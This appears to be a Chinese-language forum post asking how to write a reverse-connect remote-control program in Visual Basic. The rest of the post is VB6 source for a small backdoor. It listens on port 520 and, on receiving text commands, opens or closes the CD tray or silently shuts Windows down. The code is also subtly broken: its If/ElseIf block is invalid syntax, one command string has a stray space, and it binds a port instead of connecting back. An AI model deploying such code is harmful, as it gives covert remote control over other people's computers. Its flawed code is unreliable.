不知道怎样用VB编写反弹端口的

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal ipstrcommand As String, ByVal ipstrreturnstring As String, ByVal ureturnlength As Long, ByVal hwndcallback As Long) As Long
Private Declare Function mciGetErrorString Lib "winmm.dll" Alias "mciGetErrorStringA" (ByVal dwError As Long, ByVal ipstrbuffer As String, ByVal ulength As Long) As Long
Function OPENCD()
mciSendString "set CDAUdio door open", 0, 0, 0
End Function
Function closeCD()
mciSendString "set CDAudio door closed", 0, 0, 0

End Function
Private Sub Form_Load()
Winsock1.LocalPort = 520
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strdata
Call Winsock1.GetData(strdata, vbString)
If strdata = "opencdnow " Then OPENCD
ElseIf strdata = "closecdnow" Then closeCD
ElseIf strdata = "runcommand" Then Shell "rundll.exe user.exe,exitwindows", vbHide
End If
End Sub